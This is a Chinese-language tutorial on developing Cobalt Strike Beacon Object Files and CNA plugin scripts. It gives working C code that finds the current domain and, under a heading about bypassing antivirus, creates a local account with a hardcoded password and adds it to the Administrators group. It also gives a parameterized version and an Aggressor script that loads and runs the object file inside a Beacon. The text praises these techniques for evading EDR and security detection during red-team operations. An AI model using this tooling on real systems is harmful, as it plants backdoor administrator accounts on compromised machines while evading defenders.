BOF及cna插件开发初探
字数 1132 2025-08-19 12:41:56

BOF及CNA插件开发指南

1. Beacon Object File (BOF)概述

BOF是一种能够被Cobalt Strike Beacon加载并执行的特殊文件格式,它实际上是C/C++编译后但未链接的目标文件(.obj)。BOF具有以下特点:

  • 体积小,执行效率高
  • 在Beacon进程内部运行,不创建新进程
  • 可以直接调用Beacon API和Win32 API
  • 能有效规避EDR检测

2. BOF开发环境准备

2.1 系统要求

  • 操作系统:Windows 10
  • 开发工具:Visual Studio 2022

2.2 开发模板

使用现成的BOF开发模板可以简化开发流程:

  1. 下载模板:https://github.com/securifybv/Visual-Studio-BOF-template
  2. 将模板放入VS模板目录:用户路径\文稿\Visual Studio 2022\Templates\ProjectTemplates
  3. 在VS中新建项目时选择该模板

2.3 编译配置

  1. 在VS中选择"生成"->"批生成"
  2. 勾选项目,方案配置选择"BOF"
  3. 生成后可在项目目录中找到.obj文件

3. BOF开发基础

3.1 动态函数解析(DFR)

BOF中使用动态函数解析来调用系统API,格式如下:

DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
  • DECLSPEC_IMPORT:导入函数关键字
  • WINAPI:函数调用约定
  • ADVAPI32:函数所在模块名
  • GetUserNameA:函数名称

3.2 BOF入口函数

BOF的执行入口是go函数,当在Beacon上执行inline-execute时会调用此函数:

void go(char* buff, int len) {
    // BOF功能代码
}

4. BOF开发实例

4.1 获取当前域信息

#include <windows.h> 
#include <stdio.h> 
#include <dsgetdc.h> 
#include "beacon.h" 

DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID);
DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID);

void go(char* buff, int len) {
    DWORD dwRet;
    PDOMAIN_CONTROLLER_INFO pdcInfo;
    dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo);
    if (ERROR_SUCCESS == dwRet) {
        BeaconPrintf(CALLBACK_OUTPUT, "%s", pdcInfo->DomainName);
    }
    NETAPI32$NetApiBufferFree(pdcInfo);
}

4.2 绕过杀软添加用户

#include <windows.h> 
#include <stdio.h> 
#include "bofdefs.h"
#include "beacon.h" 

typedef DWORD NET_API_STATUS;
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);

void go(char* buff, int len) {
    USER_INFO_1 UserInfo;
    UserInfo.usri1_name = L"Qqw666";            
    UserInfo.usri1_password = L"Qqw@#123";      
    UserInfo.usri1_priv = USER_PRIV_USER;
    UserInfo.usri1_flags = UF_SCRIPT;

    // 创建用户
    NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, 1, (LPBYTE)&UserInfo, NULL);
    if (nStatus == NERR_Success) {
        BeaconPrintf(CALLBACK_OUTPUT, "NetUserAdd Success!\nUsername: %ws, PassWord: %ws", 
                    UserInfo.usri1_name, UserInfo.usri1_password);
    }

    // 添加到管理员组
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = UserInfo.usri1_name;
    NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
    if (aStatus == NERR_Success) {
        BeaconPrintf(CALLBACK_OUTPUT, "Add to Administrators success!");
    }
}

5. 参数化BOF开发

5.1 支持自定义用户名和密码

void go(char* buff, int len) {
    datap parser;
    LPWSTR username, password;
    
    BeaconDataParse(&parser, buff, len);
    username = (LPWSTR)BeaconDataExtract(&parser, NULL);
    password = (LPWSTR)BeaconDataExtract(&parser, NULL);

    USER_INFO_1 UserInfo;
    UserInfo.usri1_name = username;
    UserInfo.usri1_password = password;
    // ...其余代码同上...
}

6. CNA插件开发

6.1 CNA脚本基础

beacon_command_register(
    "adduser", 
    "Add a user to administrators", 
    "usage: adduser [username] [password]");

6.2 完整CNA插件示例

alias adduser{
    local('$handle $data $args');
    $uname = $2;
    $pass = $3;

    if ($uname eq "" or $pass eq "") {
        berror($1, "usage command: help adduser");
        return;
    }

    // 读取BOF文件
    $handle = openf(script_resource("source.obj"));
    $data = readb($handle, -1);
    closef($handle);

    // 打包参数("ZZ"表示两个参数)
    $args = bof_pack($1, "ZZ", $uname, $pass);

    // 执行BOF
    beacon_inline_execute($1, $data, "go", $args);
}

7. 开发注意事项

  1. 权限要求:添加用户等操作需要管理员权限
  2. 错误处理:应妥善处理API调用失败的情况
  3. 内存管理:使用后释放分配的内存(如NetApiBufferFree)
  4. 参数传递:使用BeaconDataParseBeaconDataExtract解析输入参数
  5. 输出格式:使用BeaconPrintf输出结果

8. 总结

BOF和CNA插件开发为Cobalt Strike提供了强大的扩展能力:

  1. 可以将常用功能封装为BOF,提高隐蔽性和复用性
  2. 通过CNA插件可以方便地在Beacon中调用BOF
  3. 参数化设计使BOF更加灵活
  4. 所有Windows API调用都可以通过DFR方式实现

通过将常用命令BOF化,可以更好地规避安全检测,提高红队行动的隐蔽性。

BOF及CNA插件开发指南 1. Beacon Object File (BOF)概述 BOF是一种能够被Cobalt Strike Beacon加载并执行的特殊文件格式,它实际上是C/C++编译后但未链接的目标文件(.obj)。BOF具有以下特点: 体积小,执行效率高 在Beacon进程内部运行,不创建新进程 可以直接调用Beacon API和Win32 API 能有效规避EDR检测 2. BOF开发环境准备 2.1 系统要求 操作系统:Windows 10 开发工具:Visual Studio 2022 2.2 开发模板 使用现成的BOF开发模板可以简化开发流程: 下载模板:https://github.com/securifybv/Visual-Studio-BOF-template 将模板放入VS模板目录: 用户路径\文稿\Visual Studio 2022\Templates\ProjectTemplates 在VS中新建项目时选择该模板 2.3 编译配置 在VS中选择"生成"->"批生成" 勾选项目,方案配置选择"BOF" 生成后可在项目目录中找到.obj文件 3. BOF开发基础 3.1 动态函数解析(DFR) BOF中使用动态函数解析来调用系统API,格式如下: DECLSPEC_IMPORT :导入函数关键字 WINAPI :函数调用约定 ADVAPI32 :函数所在模块名 GetUserNameA :函数名称 3.2 BOF入口函数 BOF的执行入口是 go 函数,当在Beacon上执行 inline-execute 时会调用此函数: 4. BOF开发实例 4.1 获取当前域信息 4.2 绕过杀软添加用户 5. 参数化BOF开发 5.1 支持自定义用户名和密码 6. CNA插件开发 6.1 CNA脚本基础 6.2 完整CNA插件示例 7. 开发注意事项 权限要求 :添加用户等操作需要管理员权限 错误处理 :应妥善处理API调用失败的情况 内存管理 :使用后释放分配的内存(如 NetApiBufferFree ) 参数传递 :使用 BeaconDataParse 和 BeaconDataExtract 解析输入参数 输出格式 :使用 BeaconPrintf 输出结果 8. 总结 BOF和CNA插件开发为Cobalt Strike提供了强大的扩展能力: 可以将常用功能封装为BOF,提高隐蔽性和复用性 通过CNA插件可以方便地在Beacon中调用BOF 参数化设计使BOF更加灵活 所有Windows API调用都可以通过DFR方式实现 通过将常用命令BOF化,可以更好地规避安全检测,提高红队行动的隐蔽性。